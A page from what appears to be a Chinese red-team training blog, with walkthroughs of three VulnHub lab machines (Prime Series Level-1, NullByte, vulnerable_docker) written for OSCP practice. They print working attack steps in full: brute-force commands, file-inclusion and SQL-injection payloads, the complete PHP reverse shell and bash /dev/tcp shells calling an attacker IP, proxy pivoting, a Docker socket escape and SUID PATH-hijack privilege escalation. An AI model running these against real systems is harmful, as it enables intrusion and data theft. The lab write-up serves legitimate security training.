首页
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
17,791 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
15,383 阅读
3
泷羽Sec红队培训,OSCP+国际渗透测试专家中级认证
7,140 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
6,794 阅读
5
几个常见的密码字典推荐
6,616 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
195
篇文章
累计收到
2
条评论
首页
导航
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
搜索到
93
篇与
的结果
2025-05-18
Vuln靶机Prime_Series_Level-1
typora-copy-images-to: upload主机发现端口扫描80端口目录扫描,发现这是一个wordpress站点利用wpscan对网站后台进行暴力破解,并收集可能的用户信息,爆破失败了,但是发现了一个用户victorwpscan --url http://10.10.10.203/wordpress -e u -P /data/SecLists_Dict/Passwords/xato-net-10-million-passwords-100000.txt利用ssh爆破(失败)hydra -lvictor -P /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt -t 4 -vV 10.10.10.203 ssh利用wfuzz测试一下有没有其他的文章没显示出来的wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200继续查看目录扫描的结果,翻到一个dev,被嘲讽了你好,现在你处于0级阶段在实际的渗透测试中,我们应该使用我们的工具在网络上进行深入挖掘。快乐的黑客。看看还有没有其他文件gobuster dir -u http://10.10.10.203 -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js有一个secret.txt文件,大致意思呢就是说让我们进行一个模糊测试,这个测试的参数下面有一个location.txt文件,如果没有扫出来,你可以利用下面这个开源字典,帮助你更好的通过oscp考试访问https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web1. WFUZZ ==================================================================================== # # ###### # # ###### ###### # # # # # # # # # ##### # # # # # ## # # # # # # ## ## # # # # # # # # #### ###### ###### ==================================================================================== -------------------------------------------------------------------------------------- (i) USE WFUZZ TO ENUMERATE CORRECT PARAMETER FOR A PAGE. --------------------------------------------------------------------------------------- COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something And the result is given below 000216: C=200 70 L 500 W 2006 Ch "configs" 000200: C=200 70 L 500 W 2006 Ch "cm" 000201: C=200 70 L 500 W 2006 Ch "cmd" 000195: C=200 70 L 500 W 2006 Ch "classified" 000197: C=200 70 L 500 W 2006 Ch "client" 000204: C=200 70 L 500 W 2006 Ch "coke" Finishing pending requests... ---------------------------------------------------------------------------------------------------------------------- (ii) BUT ABOVE COMMND FAILED IF PAGE ALWAYS RETURN 200(HTTP REPONSE). NOW OUR MODIFIED COMMAND IS =======> ---------------------------------------------------------------------------------------------------------------------- COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something And it will return result which is given below. Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000357: C=200 70 L 500 W 2006 Ch "file" Total time: 3.753362 Processed Requests: 950 Filtered Requests: 949 Requests/sec.: 253.1063 Here we can see C=200(Our HTTP Respone from server). 7 L ==> It means 7 lines return by server. 500 W ==> It means 19 words total count by wfuzz. 2006 Ch ==> It means 206 total chars count by wfuzz which is return by server. After using filter we can remove wrong parameter from our output and right output with right parameter we get. -------------------------------------------------------------------------------------------------------- (*)WORKING WITH FILTERS: | (i) If we want to filter words then we used switch --hw (words_lenth. In above example --hw 12) | (ii) To filter lenth then we used --hl(In above above example this would be --hl 7) (iii) For chars we used --hh (In above example this would br --hh 206) | (iv) For response code we use --hc. And always we attach --hc 404. Because this is common for all. | -------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------- (iii) USE WFUZZ TO FIND OUT SUBDOMAINS. ---------------------------------------------------------------- COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 617 -u website.com -H "HOST: FUZZ.website.com" USE filter to reach your actual subdomAIns like below command. COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 7873 -u hnpsec.com -H "HOST: FUZZ.hnpsec.com"上wfuzzwfuzz -u http://10.10.10.203/?FUZZ=location.txt -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --hw 12发现了一个file参数做一些更好的, 好的,现在你找到了确切的参数,现在挖掘更多的下一个<br>在其他php页面上使用‘secrettier36o’参数更有趣。那么根据提示修改参数file为secrettier360,继续fuzz,只发现了两个相关的php文件wfuzz -u http://10.10.10.203/FUZZ.php?secrettier360=location.txt -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --sc 200进行测试,”最后你得到了正确的参数“┌──(root㉿kali)-[~] └─# curl http://10.10.10.203/image.php?secrettier360=location.txt <html> <title>HacknPentest</title> <body> <img src='hacknpentest.avif' alt='hnp security' width="1300" height="595" /></p></p></p> </body> finaly you got the right parameter<br><br><br><br></html>说是得到了正确的参数,看样子是文件包含,之前读取的是一个txt文件 location.txt,那么直接包含/etc/passwd,之后又发现了这个用户后面写着一个提示,说password.txt文件在/home/saket文件夹下面找到了密码follow_the_ippseccurl http://10.10.10.203/image.php?secrettier360=/home/saket/password.txt测试了两个用户的ssh皆失败了利用那就wordpress密码碰撞,找到之前写文章的用户victor进行登录,登录成功其他的文件都不能修改,只有这一个Twenty Nineteen主题下的secret.php可以修改填写反弹shell脚本并修改攻击机器开启监听这个路径是wordpress主题文件下的默认路径,使用curl请求即可反弹shellcurl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.php创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")';切换到wordpress根目录,找到了数据库密码wordpress yourpasswordhere登录mysqlmysql -uwordpress -pyourpasswordhere只有victor一个用户,密码我们已经知道了,没有其他东西了,利用数据库密码登录这两个用户试试(均失败)www-data@ubuntu:/home$ ls ls saket victor www-data@ubuntu:/home$ su saket su saket Password: yourpasswordhere su: Authentication fAIlure www-data@ubuntu:/home$ su victor su victor Password: yourpasswordhere su: Authentication fAIlure切换到home下面包含了一个user.txt可能用得上识别hash类型,看样子是md5尝试过好几个解密网站都失败了利用sudo -l查看可以使用sudo的文件,有一个enc,执行一下需要我们输入密码在opt文件夹下面可以找到密码信息执行,但是有两个文件,enc.txt,key.txt没有权限读取接下来加上sudo,提示了一个good此时该文件夹下面出现了两个文件其中key.txt是一个提示信息,加密后的结果为366a74cb3c959de17d61db30591c39d1因此,将字符串“ippsec”转换为md5哈希并使用它来获得您的真实形式enc.txt是一段乱码nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=有一个key,一段密文,但是没有偏移量,普通AES需要偏移量但是ECB的加密模式不需要解密结果为Dont worry saket one day we will reach to our destination very soon. And if you forget your username then use your old password ==> "tribute_to_ippsec" Victor,切换用户成功再次利用sudo -l利用sudo执行这个文件后,可以看到下面有一个提示,没有找到相关文件 not found,看样子是让我们写入一个脚本进行提权if you can defeat me then challenge me in front of you /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found利用刚刚反弹shell的php脚本进行反弹,再用sudo执行此文件即可提权成功echo 'php /var/www/html/wordpress/wp-content/themes/twentynineteen/secret.php' > /tmp/challenge chmod +x /tmp/challenge sudo /home/victor/undefeated_victor至此提权成功往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
2,140 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机NullByte
靶机下载链接:https://www.vulnhub.com/entry/nullbyte-1,126/主机发现利用nmap进行端口扫描,发现ssh端口被放到了777端口,这里需要注意一下,后面使用ssh连接的时候需要使用 -p 77780端口经过目录扫描,发现了一个phpmyadmin数据库管理工具,并使用了SQL注入,弱口令等测试,均没有效果直到下载了主页的这个mAIn.gif文件,得到一个密文kzMb5nVYJw可能是phpmyadmin的root密码去登录phpmyadmin试试(失败),那么就切换思路,既然是在web上,那么还有可能和目录相关查看源码,说这个表单没有连接mysql数据库,密码也很简单,说明可以直接爆破了本着oscp考试不能使用burp专业版,那么就用hydra进行爆破,参数如下hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.205 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -f参数解析:-l 表示指定一个用户进行爆破(在这里没有实际意义),-P指定一个密码字典-t 指定爆破的线程数量-vV 表示显示爆破的过程http-post-form 表示以表单的形式进行爆破^PASS^ 表示在这个指定的字典中,所有单个密码的一个变量invalid key 表示排除字段,即出现哪些字符表示失败输入这个密码后,就能进入一个搜索框框页面eliteSQL注入利用,一下子全部数据都出来了,说明存在SQL注入漏洞http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=a" or 1=1 -- +那么接下俩判断列,sql语句报错了,说明不存在5列a" order by 5 --+但是奇怪的是,没有数据回显a" order by 3 --+这里需要仔细琢磨下,发现只能使用对应的用户名作为参数isis" order by 3 --+联合注入测试,这个时候就多了一条数据,前面的isis用户的数据也存在isis" union select 1,2,3 --+暴库http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(schema_name),3 from information_schema.schemata --+发现了两个可能利用的数据库phpmyadmin,seth,由于phpmyadmin是直接连接的mysql服务器,所以不存放mysql密码,可以跳过,所以我们接下来就需要对seth数据库进行枚举暴seth表,敏感表usershttp://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="seth" --+暴users字段http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="phpmyadmin" and table_name="pma__users" --+暴users数据http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(id,'-',user,'-',pass),3 from users --+看样子是 一个base64的编码,解密看看,是一个hash,c6d6bd7ebf806f43c76acc3681703b81利用hash识别工具识别解密的结果为md5ramses用户的密码为omega连接ssh(phpmyadmin密码试过了登录失败)查找SUID文件,发现了一个procwatch文件切换到这个目录下面,还发现了一个readme.txt, 我必须要搞定这一坨混乱。不知道在说啥,执行一下这个suid文件,发现还执行了两个命令,sh应该和shell相关,也就是/bin/sh,ps和进程相关,这个时候我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于他具有suid权限,就可以以root身份运行,从而触发提权这里提权的方法呢就是利用软链接+修改环境变量的方式进行提权完整命令如下ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps # 将/bin/sh链接到 ps 这个命令,这样我们执行当前目录下面的 ps 命令(文件)的时候,就会调用/bin/sh创建一个shell ramses@NullByte:/var/www/backup$ ls # 此时就发现多了一个文件ps procwatch ps readme.txt ramses@NullByte:/var/www/backup$ export PATH=.:$PATH # 添加当前目录为环境变量,这个.代表当前目录,放在前面表示环境变量会以前后顺序,依次读取环境变量,放在前面是为了提高当前目录为环境变量的优先级 ramses@NullByte:/var/www/backup$ echo $PATH .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games ramses@NullByte:/var/www/backup$ ./procwatch # 此时执行这个文件,就能创建一个shell,而它是suid文件。执行它的时候是以root的身份执行的,所以创建的shell就是root身份的shell。 # whoami root # cd /root # cat proof.txt adf11c7a9e6523e630aaf3b9b7acb51d It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mAIl at xly0n@sigAInt.org attach the walk and proof.txt If sigAInt.org is down you may mAIl at nbsly0n@gmAIl.com USE THIS PGP PUBLIC KEY -----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0 mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58 kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8 TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU Gms= =PiAQ -----END PGP PUBLIC KEY BLOCK-----至此提权成功,这个靶机有很多种可以getshell的方法,比如利用SQL注入写入一句话木马,读取mysql配置文件获取密码信息,然后登录phpmyadmin,也能获取ramses用户的密码信息,当然写可以不写一句话木马,直接写反弹shell的php也可以,详细请参考如下文章,写的非常棒https://blog.csdn.net/Bossfrank/article/details/131880155往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
2,294 阅读
0 评论
0 点赞
2025-05-18
vulnerable_docker,3种代理方法打入内网,frp,msf,reGeorg
该项目是NotSoSecure作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。——freebuf:YLion下载链接:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova信息收集利用arp-scan进行主机发现arp-scan -l端口SYN全端口扫描,并指定好速率为4nmap -sS 10.10.10.129 -T4 -p-只开放了8000端口,并没有80端口这里用kali自带的密码字典,爆破时间较长,可以用开源的一个项目的字典git clone https://github.com/danielmiessler/SecLists利用wpscan进行用户枚举,和后台密码爆破,只有一个bob用户wpscan --url http://10.10.10.129:8000/ -e u -P darkweb2017-top10000.txt爆破结果为用户:bob,密码:Welcome1写入kali自带的反弹shell,payload,内容如下<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.10.128'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resouRCE($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?>此时kali开启监听nc -lvnp 1234web访问一个不存在的urlhttp://10.10.10.129:8000/2017/08/19/hello-world111111111111/创建交互式终端(这个环境没有python)python2 -c 'import pty; pty.spawn("/bin/bash")'内网渗透那么就直接信息收集吧,WordPress的站点,必存在数据交互,找数据库密码cd /var/www/html/ cat wp-config.php用户名为:WordPress,密码:WordPressISBest,但是当前shell找不到mysql命令,看来是限制了shell的命令输入这里是需要用到一个工具socat来创建交互式终端# kali wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat nc -lvnp 1234 # 靶机 curl -O 10.10.10.128:443/socat chmod +x socat ./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane这样就创建成功了系统信息收集$ uname -a Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux $ lsb_release -a /bin/sh: 32: lsb_release: not found $ cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 8 (jessie)" NAME="Debian GNU/Linux" VERSION_ID="8" VERSION="8 (jessie)" ID=debian HOME_URL="http://www.debian.org/" SUPPORT_URL="http://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"ip信息收集本地IP信息探测,一共4个地址for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;将扫描的的IP信息全部填到hosts变量,写入端口扫描脚本,到kali里面#!/bin/bash hosts=( "172.18.0.1" "172.18.0.2" "172.18.0.3" "172.18.0.4" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done靶机下载# 靶机 curl 10.10.10.128:443/ports_scan_script.sh -O chmod +x ports_scan_script.sh ./ports_scan_script.sh响应探测curl 172.18.0.3:8022curl 172.18.0.4上图可以看到网页标题基本一模一样,那么就可以断定这是容器内的ip,用Docker做了端口转发而已,那么我们可以利用的只有两个ip地址了,分别是.2和.3由于靶机没有mysqlDocker也没有代理1:reGeorg代理之路这就需要用到———reGeorg代理之路# kali curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php python -m http.server 443 # 靶机 cd /var/www/html curl -O 10.10.10.128:443/tunnel.php然后访问靶机http://10.10.10.129:8000/tunnel.phpGeorg says, 'All seems fine' 一切似乎都很好,kali攻击机执行如下命令python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php并修改代理工具proxychains配置文件vi /etc/proxychains4.conf这里代理成功了,能够正常访问靶机内网了这是第一个可以利用的内网ip我们先从第二个利用点开始,利用代理连接本地的mysql,这里会出现一个问题,连接远程数据库的时候proxychains mysql -uWordPress -pWordPressISBest -h 172.18.0.2 # ERROR 2026 (HY000): TLS/SSL error: unable to get local issuer certificate通常有两种解决方法在旧版本的mysql中 使用 --skip-ssl,如果是比较高的版本就是--ssl-mode=DISABLEDproxychains mysql -uWordPress -pWordPressISBest -h 172.18.0.2 --skip-ssl proxychains mysql -uWordPress -pWordPressISBest -h 172.18.0.2 --ssl-mode=DISABLED但是mysql用户表里面只有一个用户,并且这个密码我们已经知道了切换思路,利用那个web界面的ip,.3proxychains nmap -sT -sV 172.18.0.3 -p8022 -T4 -Pn可以看到是一个node项目,重新启动一个代理服务器,用kali的地址python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php -l 10.10.10.128修改代理配置vi /etc/proxychains4.conf打开浏览器,利用这个代理插件,添加一个代理访问http://172.18.0.3:8022/开始反弹shell/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1然后就要开始Docker逃逸了,当前Docker容器客户端,通过Docker.sock文件可以直接访问到对应的容器内部对应的学习文章:https://www.secpulse.com/archives/55928.html要进行Docker逃逸,但是没有Docker命令。。。。。。我们需要安装一个通过uname -a可以看到系统信息为ubuntu系统,再查看版本信息,为14.04cat /proc/version普通的安装不太行,我们需要换源deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse利用echo命令将上面的源重定向/etc/apt/souRCEs.listecho '源' > /etc/apt/souRCEs.list apt-get update apt-get install Docker.io然后执行如下命令,会报一个错误,cannot enable tty mode on non tty input,不能在非tty输入上启用tty模式,也就是这个终端不是交互式终端,需要创建一个交互式终端,也可以直接返回到网页上进行操作Docker run --rm -it -v /:/tmp/1/ WordPress /bin/bash我们返回网页,一切正常Docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash cd /tmp/1 cat flag_3Docker学习与remote API未授权访问分析和利用:https://www.secpulse.com/archives/55928.html代理二:MSF利用MSF的监听,并对ip和端口进行修改use exploit/multi/handler set lhost 10.10.10.128 set lport 1234 run -j # 将这个监听程序放到后台执行,上线了就会生成会话新建一个终端,查看是否在监听中netstat -tulnp访问修改的木马文件http://10.10.10.129:8000/2017/08/19/hello-world1111111111111111/进入到已经上线的会话1sessions -i # 显示所有已经上线的会话 sessions 1 # 进入第一个会话但是这个会话并不是稳定的shell(不是交互式终端),我们可以利用MSF创建交互式终端use post/multi/manage/shell_to_meterpreter set session 2 run查看网卡信息ipconfig 或者 ifconfig # MSF命令不是系统命令查看路由信息 route添加路由表run autoroute -s 172.18.0.0/24查看路由表情况run autoroute -p退出当前会话 bg 即 background 不会导致shell断开,开始配置路由use post/multi/manage/autoroute set SUBNET 172.18.0.0 # 你刚刚看到的路由情况填到这里 set session 3 run进行内网探测(ip存活数量)use auxiliary/scanner/portscan/tcp set session 3 set rhosts 172.18.0.0/24 run开启socks4a proxy代理:use auxiliary/server/socks_proxy set SRVPORT 1090 set session 2 runshi用netstat -tulnp查看断开占用情况netstat -tulnp设置好代理后就需要修改代理文件(这里修改的是kali的nat网卡的ip,而不是127.0.0.1为的就是方便Windows机器连接这个代理,从而能使用浏览器访问靶机内网)vi /etc/proxychains4.conf socks5 10.10.10.128 1090成功进入内网代理三:frpfrp利用工具wget https://github.com/fatedier/frp/releases/download/v0.22.0/frp_0.22.0_linux_amd64.tar.gzfrpc.ini[common] server_addr = 192.168.27.195 server_port = 7000 [http_proxy] type = tcp remote_port = 7777 plugin = socks5frps.ini[common] bind_port = 7000 bind_addr = 0.0.0.0随后准备上传到靶机上# kali python -m http.server 443 # 靶机 cd /tmp curl -O 10.10.10.128:443/frpc curl -O 10.10.10.128:443/frpc.ini chmod +x frpc # kali ./frps -c frps.ini # 靶机 ./frpc -c frpc.ini注:如果靶机出现如下问题那么就需要在frps.ini中添加如下内容,此时就能代理成功了,原因: frp 客户端和服务器的系统时间相差过大,导致身份验证超时。authentication_timeout = 0修改代理工具proxychains4vi /etc/proxychains4.conf成功进入内网如果需要浏览器访问的话,前面已经演示过了,这里再演示一遍,打开代理插件,选择连接即可,输入kali的代理地址和端口学习于:https://www.freebuf.com/vuls/347867.html,文章写的很好,可以参考参考,这里还有CS上线的方法,默认CS只能上线windows,但是这里用了插件,能上线linux。往期推荐【OSCP】超长攻击链,TommyBoy1dot0——过年快乐!一分钟搭建本地大模型DeepSeek!永久免费!无需联网!一条命令即可搭建!【OSCP】IMF缓冲区提权靶机渗透【OSCP】稀有靶机-Readme【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【OSCP】tar、zip命令提权—zico2
2025年05月18日
2,087 阅读
0 评论
0 点赞
2025-05-18
Tiki提权靶机渗透
